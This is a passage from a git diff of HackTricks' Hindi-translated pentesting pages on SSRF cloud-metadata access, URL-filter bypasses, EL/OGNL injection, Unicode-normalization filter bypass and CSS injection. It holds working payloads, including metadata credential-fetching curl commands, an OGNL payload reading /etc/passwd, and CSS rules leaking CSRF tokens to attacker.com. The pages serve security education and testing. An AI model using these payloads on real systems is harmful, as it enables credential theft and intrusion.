लेकिन पहले आपको **\** ढूंढना होगा। \ खोजने के लिए आपको मशीन के अंदर **environ** वेरिएबल **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** को पढ़ना होगा।\ आप इसे **Path Traversal** का उपयोग करके `file:///proc/self/environ` को भेदकर पढ़ने में सक्षम हो सकते हैं।\ -उल्लेखित http पता आपको **AccessKey, SecretKey और token** देना चाहिए। +उल्लेखित http पता आपको **AccessKey, SecretKey और token** देगा। ```bash curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O - ``` @@ -380,7 +372,7 @@ curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&res {% endcode %} {% endtab %} -{% tab title="PS" %} +{% tab title="पीएस" %} ```bash # Powershell Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64 @@ -506,7 +498,7 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc ``` {% endcode %} -विभिन्न प्लेटफार्मों की मेटाडेटा सेवाओं के लिए दस्तावेज़ीकरण नीचे उल्लिखित है, जो उन तरीकों को उजागर करता है जिनके माध्यम से उदाहरणों के लिए कॉन्फ़िगरेशन और रनटाइम जानकारी तक पहुंचा जा सकता है। प्रत्येक प्लेटफ़ॉर्म अपनी मेटाडेटा सेवाओं तक पहुँचने के लिए अद्वितीय एंडपॉइंट प्रदान करता है। +विभिन्न प्लेटफार्मों की मेटाडेटा सेवाओं के लिए दस्तावेज़ीकरण नीचे दिया गया है, जो उन तरीकों को उजागर करता है जिनके माध्यम से उदाहरणों के लिए कॉन्फ़िगरेशन और रनटाइम जानकारी तक पहुंचा जा सकता है। प्रत्येक प्लेटफ़ॉर्म अपनी मेटाडेटा सेवाओं तक पहुँचने के लिए अद्वितीय एंडपॉइंट प्रदान करता है। ## Packetcloud @@ -564,12 +556,6 @@ Rancher का मेटाडेटा इस प्रकार पहुँ * `curl http://rancher-metadata//` -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) @@ -579,7 +565,7 @@ GCP हैकिंग सीखें और अभ्यास करें: < HackTricks का समर्थन करें * [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।** diff --git a/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md b/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md index 00b8ef3b4..4d5c84fa4 100644 --- a/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md +++ b/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md @@ -15,14 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ### लोकलहोस्ट ```bash # Localhost @@ -94,7 +86,7 @@ spoofed.burpcollaborator.net = 127.0.0.1 ``` ![](<../../.gitbook/assets/image (776).png>) -**Burp extension** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) आईपी फ़ॉर्मेटिंग बायपास को लागू करता है। +The **Burp extension** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) आईपी फ़ॉर्मेटिंग बायपास को लागू करता है। ### डोमेन पार्सर ```bash @@ -162,7 +154,7 @@ next={domain}&next=attacker.com ``` ### Paths and Extensions Bypass -यदि आपसे अपेक्षित है कि URL एक पथ या एक एक्सटेंशन में समाप्त होना चाहिए, या एक पथ होना चाहिए, तो आप निम्नलिखित बायपास में से एक प्रयास कर सकते हैं: +यदि आपसे यह आवश्यक है कि URL एक पथ या एक एक्सटेंशन में समाप्त होना चाहिए, या एक पथ होना चाहिए, तो आप निम्नलिखित बायपास में से एक प्रयास कर सकते हैं: ``` https://metadata/vulerable/path#/expected/path https://metadata/vulerable/path#.extension @@ -201,7 +193,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever() ### Blackslash-trick -The _backslash-trick_ एक अंतर का लाभ उठाता है जो [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) और [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) के बीच है। जबकि RFC3986 URI के लिए एक सामान्य ढांचा है, WHATWG वेब URLs के लिए विशिष्ट है और इसे आधुनिक ब्राउज़रों द्वारा अपनाया गया है। मुख्य अंतर WHATWG मानक की बैकस्लैश (`\`) को फॉरवर्ड स्लैश (`/`) के समकक्ष मान्यता में है, जो URLs के पार्सिंग के तरीके को प्रभावित करता है, विशेष रूप से एक URL में होस्टनेम से पथ में संक्रमण को चिह्नित करता है। +The _backslash-trick_ एक अंतर का लाभ उठाता है जो [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) और [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) के बीच है। जबकि RFC3986 URIs के लिए एक सामान्य ढांचा है, WHATWG वेब URLs के लिए विशिष्ट है और आधुनिक ब्राउज़रों द्वारा अपनाया गया है। मुख्य अंतर WHATWG मानक की बैकस्लैश (`\`) को फॉरवर्ड स्लैश (`/`) के समकक्ष मान्यता में है, जो यह प्रभावित करता है कि URLs कैसे पार्स किए जाते हैं, विशेष रूप से एक URL में होस्टनेम से पथ में संक्रमण को चिह्नित करना। ![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg) @@ -216,11 +208,6 @@ image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing- * [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/pentesting-web/ssti-server-side-template-injection/el-expression-language.md b/pentesting-web/ssti-server-side-template-injection/el-expression-language.md index ab1c815b9..54dc9ad41 100644 --- a/pentesting-web/ssti-server-side-template-injection/el-expression-language.md +++ b/pentesting-web/ssti-server-side-template-injection/el-expression-language.md @@ -15,37 +15,23 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **फ्री** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि कोई कंपनी या उसके ग्राहक **समझौता** किए गए हैं या नहीं **चोरी करने वाले मालवेयर** द्वारा। - -WhiteIntel का प्राथमिक लक्ष्य खाता अधिग्रहण और रैंसमवेयर हमलों से लड़ना है जो जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप होते हैं। - -आप उनकी वेबसाइट पर जा सकते हैं और उनके इंजन को **फ्री** में आजमा सकते हैं: - -{% embed url="https://whiteintel.io" %} - -*** - ## Bsic Info -Expression Language (EL) JavaEE में प्रस्तुति परत (जैसे, वेब पृष्ठ) और एप्लिकेशन लॉजिक (जैसे, प्रबंधित बीन) के बीच पुल बनाने में महत्वपूर्ण है, जिससे उनकी बातचीत संभव होती है। इसका मुख्य रूप से उपयोग किया जाता है: +Expression Language (EL) JavaEE में प्रस्तुति परत (जैसे, वेब पृष्ठ) और अनुप्रयोग लॉजिक (जैसे, प्रबंधित बीन्स) के बीच पुल बनाने में महत्वपूर्ण है, जिससे उनकी बातचीत संभव होती है। इसका मुख्य रूप से उपयोग किया जाता है: * **JavaServer Faces (JSF)**: UI घटकों को बैकएंड डेटा/क्रियाओं से जोड़ने के लिए। * **JavaServer Pages (JSP)**: JSP पृष्ठों के भीतर डेटा पहुंच और हेरफेर के लिए। -* **Contexts and Dependency Injection for Java EE (CDI)**: प्रबंधित बीन के साथ वेब परत की बातचीत को सुविधाजनक बनाने के लिए। +* **Contexts and Dependency Injection for Java EE (CDI)**: प्रबंधित बीन्स के साथ वेब परत की बातचीत को सुविधाजनक बनाने के लिए। **उपयोग संदर्भ**: * **Spring Framework**: सुरक्षा और डेटा जैसे विभिन्न मॉड्यूल में लागू किया गया। * **सामान्य उपयोग**: JVM-आधारित भाषाओं जैसे Java, Kotlin, और Scala में डेवलपर्स द्वारा SpEL API के माध्यम से। -EL JavaEE प्रौद्योगिकियों, स्वतंत्र वातावरणों में मौजूद है, और इसे `.jsp` या `.jsf` फ़ाइल एक्सटेंशन, स्टैक त्रुटियों, और हेडर में "Servlet" जैसे शब्दों के माध्यम से पहचाना जा सकता है। हालाँकि, इसकी विशेषताएँ और कुछ वर्णों का उपयोग संस्करण-निर्भर हो सकता है। +EL JavaEE प्रौद्योगिकियों, स्वतंत्र वातावरणों में मौजूद है, और `.jsp` या `.jsf` फ़ाइल एक्सटेंशन, स्टैक त्रुटियों, और हेडर में "Servlet" जैसे शब्दों के माध्यम से पहचाना जा सकता है। हालाँकि, इसकी विशेषताएँ और कुछ वर्णों का उपयोग संस्करण-निर्भर हो सकता है। {% hint style="info" %} -**EL संस्करण** के आधार पर कुछ **विशेषताएँ** **चालू** या **बंद** हो सकती हैं और आमतौर पर कुछ **वर्ण** **अनुमति नहीं दी जा सकती** हैं। +**EL संस्करण** के आधार पर कुछ **विशेषताएँ** **On** या **Off** हो सकती हैं और आमतौर पर कुछ **वर्ण** **अस्वीकृत** हो सकते हैं। {% endhint %} ## Basic Example @@ -84,7 +70,7 @@ System.out.println(result); ```java javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java ``` -ऐप्लिकेशन को चलाएँ: +ऐप्लिकेशन को इस तरह चलाएँ: ```java java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main Enter a String to evaluate: @@ -125,7 +111,7 @@ Enter a String to evaluate: ``` ### Detection -* बर्प डिटेक्शन +* Burp detection ```bash gk6q${"zkz".toString().replace("k", "x")}doap2 #The value returned was "igk6qzxzdoap2", indicating of the execution of the expression. @@ -140,7 +126,7 @@ https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.Og #Blind detection vector (sleep during 10 seconds) https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString} ``` -### रिमोट फ़ाइल समावेश +### रिमोट फ़ाइल समावेशन ```bash https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd ``` @@ -243,21 +229,9 @@ Check [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https:// * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools) * [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **फ्री** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **चुराने वाले मालवेयर** द्वारा **समझौता** किए गए हैं। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चुराने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट पर जा सकते हैं और **फ्री** में उनके इंजन का प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} - {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +सीखें और AWS हैकिंग का अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +सीखें और GCP हैकिंग का अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/pentesting-web/unicode-injection/unicode-normalization.md b/pentesting-web/unicode-injection/unicode-normalization.md index f234b66e5..d5ce24bcb 100644 --- a/pentesting-web/unicode-injection/unicode-normalization.md +++ b/pentesting-web/unicode-injection/unicode-normalization.md @@ -15,40 +15,26 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **फ्री** कार्यक्षमताएँ प्रदान करता है कि क्या किसी कंपनी या उसके ग्राहकों को **समझौता** किया गया है **चोरी करने वाले मालवेयर** द्वारा। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट पर जा सकते हैं और **फ्री** में उनके इंजन का प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} - -*** - **यह एक सारांश है:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). आगे की जानकारी के लिए देखें (छवियाँ वहाँ से ली गई हैं)। ## Understanding Unicode and Normalization -Unicode normalization एक प्रक्रिया है जो सुनिश्चित करती है कि वर्णों के विभिन्न बाइनरी प्रतिनिधित्व को एक ही बाइनरी मान में मानकीकृत किया जाए। यह प्रक्रिया प्रोग्रामिंग और डेटा प्रोसेसिंग में स्ट्रिंग्स के साथ काम करने में महत्वपूर्ण है। Unicode मानक वर्ण समकक्षता के दो प्रकारों को परिभाषित करता है: +Unicode normalization एक प्रक्रिया है जो सुनिश्चित करती है कि वर्णों के विभिन्न बाइनरी प्रतिनिधित्व को एक ही बाइनरी मान में मानकीकृत किया जाए। यह प्रक्रिया प्रोग्रामिंग और डेटा प्रोसेसिंग में स्ट्रिंग्स के साथ काम करते समय महत्वपूर्ण है। Unicode मानक दो प्रकार की वर्ण समकक्षता को परिभाषित करता है: -1. **Canonical Equivalence**: वर्णों को कैनोनिकली समकक्ष माना जाता है यदि उनका प्रिंट या प्रदर्शित होने पर एक ही रूप और अर्थ होता है। +1. **Canonical Equivalence**: वर्णों को कैनोनिकल रूप से समकक्ष माना जाता है यदि उनका प्रिंट या प्रदर्शित होने पर एक ही रूप और अर्थ होता है। 2. **Compatibility Equivalence**: समकक्षता का एक कमजोर रूप जहाँ वर्ण एक ही अमूर्त वर्ण का प्रतिनिधित्व कर सकते हैं लेकिन अलग-अलग तरीके से प्रदर्शित हो सकते हैं। **चार Unicode normalization एल्गोरिदम** हैं: NFC, NFD, NFKC, और NFKD। प्रत्येक एल्गोरिदम कैनोनिकल और संगतता मानकीकरण तकनीकों का उपयोग अलग-अलग तरीके से करता है। अधिक गहन समझ के लिए, आप इन तकनीकों का अन्वेषण कर सकते हैं [Unicode.org](https://unicode.org/) पर। ### Key Points on Unicode Encoding -Unicode एन्कोडिंग को समझना महत्वपूर्ण है, विशेष रूप से विभिन्न सिस्टमों या भाषाओं के बीच इंटरऑपरेबिलिटी मुद्दों से निपटने के समय। यहाँ मुख्य बिंदु हैं: +Unicode एन्कोडिंग को समझना महत्वपूर्ण है, विशेष रूप से विभिन्न प्रणालियों या भाषाओं के बीच इंटरऑपरेबिलिटी मुद्दों से निपटने के समय। यहाँ मुख्य बिंदु हैं: * **कोड पॉइंट और वर्ण**: Unicode में, प्रत्येक वर्ण या प्रतीक को एक संख्यात्मक मान सौंपा जाता है जिसे "कोड पॉइंट" कहा जाता है। -* **बाइट्स प्रतिनिधित्व**: कोड पॉइंट (या वर्ण) को मेमोरी में एक या अधिक बाइट्स द्वारा दर्शाया जाता है। उदाहरण के लिए, LATIN-1 वर्ण (जो अंग्रेजी बोलने वाले देशों में सामान्य हैं) को एक बाइट का उपयोग करके दर्शाया जाता है। हालाँकि, जिन भाषाओं में वर्णों का एक बड़ा सेट होता है, उन्हें प्रतिनिधित्व के लिए अधिक बाइट्स की आवश्यकता होती है। +* **बाइट्स प्रतिनिधित्व**: कोड पॉइंट (या वर्ण) को मेमोरी में एक या अधिक बाइट्स द्वारा दर्शाया जाता है। उदाहरण के लिए, LATIN-1 वर्ण (अंग्रेजी बोलने वाले देशों में सामान्य) को एक बाइट का उपयोग करके दर्शाया जाता है। हालाँकि, जिन भाषाओं में वर्णों का बड़ा सेट होता है, उन्हें प्रतिनिधित्व के लिए अधिक बाइट्स की आवश्यकता होती है। * **एन्कोडिंग**: यह शब्द वर्णों को बाइट्स की एक श्रृंखला में परिवर्तित करने के तरीके को संदर्भित करता है। UTF-8 एक प्रचलित एन्कोडिंग मानक है जहाँ ASCII वर्णों को एक बाइट का उपयोग करके दर्शाया जाता है, और अन्य वर्णों के लिए चार बाइट्स तक। -* **डेटा प्रोसेसिंग**: डेटा प्रोसेसिंग करने वाले सिस्टम को बाइट स्ट्रीम को वर्णों में सही ढंग से परिवर्तित करने के लिए उपयोग की जाने वाली एन्कोडिंग के बारे में जागरूक होना चाहिए। -* **UTF के रूप**: UTF-8 के अलावा, अन्य एन्कोडिंग मानक हैं जैसे UTF-16 (जो न्यूनतम 2 बाइट्स का उपयोग करता है, अधिकतम 4) और UTF-32 (जो सभी वर्णों के लिए 4 बाइट्स का उपयोग करता है)। +* **डेटा प्रोसेसिंग**: डेटा प्रोसेसिंग करने वाली प्रणालियों को एन्कोडिंग के बारे में जागरूक होना चाहिए ताकि बाइट स्ट्रीम को सही तरीके से वर्णों में परिवर्तित किया जा सके। +* **UTF के रूप**: UTF-8 के अलावा, अन्य एन्कोडिंग मानक हैं जैसे UTF-16 (कम से कम 2 बाइट्स का उपयोग करते हुए, 4 तक) और UTF-32 (सभी वर्णों के लिए 4 बाइट्स का उपयोग करते हुए)। इन अवधारणाओं को समझना महत्वपूर्ण है ताकि Unicode की जटिलता और इसके विभिन्न एन्कोडिंग विधियों से उत्पन्न संभावित मुद्दों को प्रभावी ढंग से संभाला और कम किया जा सके। @@ -60,7 +46,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch ### खोज -यदि आप एक वेब ऐप के अंदर एक मान पा सकते हैं जो वापस इको किया जा रहा है, तो आप **‘KELVIN SIGN’ (U+0212A)** भेजने की कोशिश कर सकते हैं जो **"K"** में **सामान्यीकृत** होता है (आप इसे `%e2%84%aa` के रूप में भेज सकते हैं)। **यदि "K" वापस इको किया जाता है**, तो कुछ प्रकार की **Unicode सामान्यीकरण** की प्रक्रिया की जा रही है। +यदि आप एक वेब ऐप के अंदर एक ऐसा मान ढूंढ सकते हैं जो वापस इको हो रहा है, तो आप **‘KELVIN SIGN’ (U+0212A)** भेजने की कोशिश कर सकते हैं जो **"K"** में **सामान्यीकृत** होता है (आप इसे `%e2%84%aa` के रूप में भेज सकते हैं)। **यदि "K" वापस इको होता है**, तो कुछ प्रकार की **Unicode सामान्यीकरण** की प्रक्रिया की जा रही है। अन्य **उदाहरण**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` के बाद **unicode** `Leonishan` है। @@ -68,7 +54,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch ### **SQL Injection फ़िल्टर बायपास** -कल्पना करें कि एक वेब पृष्ठ उपयोगकर्ता इनपुट के साथ SQL क्वेरी बनाने के लिए वर्ण `'` का उपयोग कर रहा है। यह वेब, एक सुरक्षा उपाय के रूप में, उपयोगकर्ता इनपुट से वर्ण **`'`** के सभी उदाहरणों को **हटाता है**, लेकिन **उस हटाने के बाद** और **क्वेरी बनाने से पहले**, यह उपयोगकर्ता के इनपुट को **Unicode** का उपयोग करके **सामान्यीकृत** करता है। +कल्पना करें कि एक वेब पृष्ठ उपयोगकर्ता इनपुट के साथ SQL क्वेरी बनाने के लिए वर्ण `'` का उपयोग कर रहा है। यह वेब, एक सुरक्षा उपाय के रूप में, उपयोगकर्ता इनपुट से वर्ण **`'`** के सभी उदाहरणों को **हटाता** है, लेकिन **उस हटाने के बाद** और **क्वेरी बनाने से पहले**, यह उपयोगकर्ता के इनपुट को **Unicode** का उपयोग करके **सामान्यीकृत** करता है। फिर, एक दुर्भावनापूर्ण उपयोगकर्ता एक अलग Unicode वर्ण डाल सकता है जो `' (0x27)` के समकक्ष है जैसे `%ef%bc%87`, जब इनपुट सामान्यीकृत होता है, तो एक सिंगल कोट बनाया जाता है और एक **SQLInjection भेद्यता** प्रकट होती है: @@ -126,18 +112,6 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch * [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work) * [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **dark-web** द्वारा संचालित खोज इंजन है जो यह जांचने के लिए **मुफ्त** कार्यक्षमताएँ प्रदान करता है कि क्या कोई कंपनी या इसके ग्राहक **stealer malwares** द्वारा **compromised** हुए हैं। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मैलवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट की जांच कर सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} - {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/pentesting-web/xs-search/css-injection/README.md b/pentesting-web/xs-search/css-injection/README.md index 220c6db3f..34afdb9f3 100644 --- a/pentesting-web/xs-search/css-injection/README.md +++ b/pentesting-web/xs-search/css-injection/README.md @@ -1,33 +1,26 @@ # CSS Injection {% hint style="success" %} -सीखें और AWS हैकिंग का अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -सीखें और GCP हैकिंग का अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricks का समर्थन करें +Support HackTricks -* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।** -* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** ## CSS Injection ### Attribute Selector -CSS चयनकर्ता `input` तत्व के `name` और `value` विशेषताओं के मानों से मेल खाने के लिए बनाए जाते हैं। यदि इनपुट तत्व की मान विशेषता किसी विशेष वर्ण से शुरू होती है, तो एक पूर्वनिर्धारित बाहरी संसाधन लोड किया जाता है: +CSS चयनकर्ता `input` तत्व के `name` और `value` विशेषताओं के मानों से मेल खाने के लिए बनाए जाते हैं। यदि इनपुट तत्व की मान विशेषता एक विशिष्ट वर्ण से शुरू होती है, तो एक पूर्वनिर्धारित बाहरी संसाधन लोड किया जाता है: ```css input[name=csrf][value^=a]{ background-image: url(https://attacker.com/exfil/a); @@ -42,7 +35,7 @@ background-image: url(https://attacker.com/exfil/9); ``` हालांकि, इस दृष्टिकोण को छिपे हुए इनपुट तत्वों (`type="hidden"`) के साथ काम करते समय एक सीमा का सामना करना पड़ता है क्योंकि छिपे हुए तत्व पृष्ठभूमियों को लोड नहीं करते हैं। -#### छिपे हुए तत्वों के लिए बायपास +#### छिपे हुए तत्वों के लिए बाईपास इस सीमा को पार करने के लिए, आप `~` सामान्य भाई संयोजक का उपयोग करके एक बाद के भाई तत्व को लक्षित कर सकते हैं। CSS नियम तब सभी भाई तत्वों पर लागू होता है जो छिपे हुए इनपुट तत्व के बाद आते हैं, जिससे पृष्ठभूमि छवि लोड होती है: ```css @@ -50,20 +43,20 @@ input[name=csrf][value^=csrF] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` -A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). +एक व्यावहारिक उदाहरण इस तकनीक का लाभ उठाने का प्रदान किए गए कोड स्निपेट में विस्तृत है। आप इसे [यहाँ](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) देख सकते हैं। -#### CSS Injection के लिए पूर्वापेक्षाएँ +#### CSS इंजेक्शन के लिए पूर्वापेक्षाएँ -CSS Injection तकनीक के प्रभावी होने के लिए, कुछ शर्तें पूरी होनी चाहिए: +CSS इंजेक्शन तकनीक प्रभावी होने के लिए, कुछ शर्तें पूरी होनी चाहिए: -1. **पेलोड लंबाई**: CSS injection वेक्टर को पर्याप्त लंबे पेलोड का समर्थन करना चाहिए ताकि तैयार किए गए सेलेक्टर्स को समायोजित किया जा सके। +1. **पेलोड लंबाई**: CSS इंजेक्शन वेक्टर को पर्याप्त लंबे पेलोड का समर्थन करना चाहिए ताकि तैयार किए गए चयनकर्ताओं को समायोजित किया जा सके। 2. **CSS पुनर्मूल्यांकन**: आपके पास पृष्ठ को फ्रेम करने की क्षमता होनी चाहिए, जो नए उत्पन्न पेलोड के साथ CSS के पुनर्मूल्यांकन को ट्रिगर करने के लिए आवश्यक है। -3. **बाहरी संसाधन**: यह तकनीक बाहरी होस्टेड छवियों का उपयोग करने की क्षमता मानती है। यह साइट की सामग्री सुरक्षा नीति (CSP) द्वारा प्रतिबंधित हो सकता है। +3. **बाहरी संसाधन**: यह तकनीक बाहरी होस्ट किए गए चित्रों का उपयोग करने की क्षमता मानती है। यह साइट की सामग्री सुरक्षा नीति (CSP) द्वारा प्रतिबंधित हो सकता है। ### ब्लाइंड 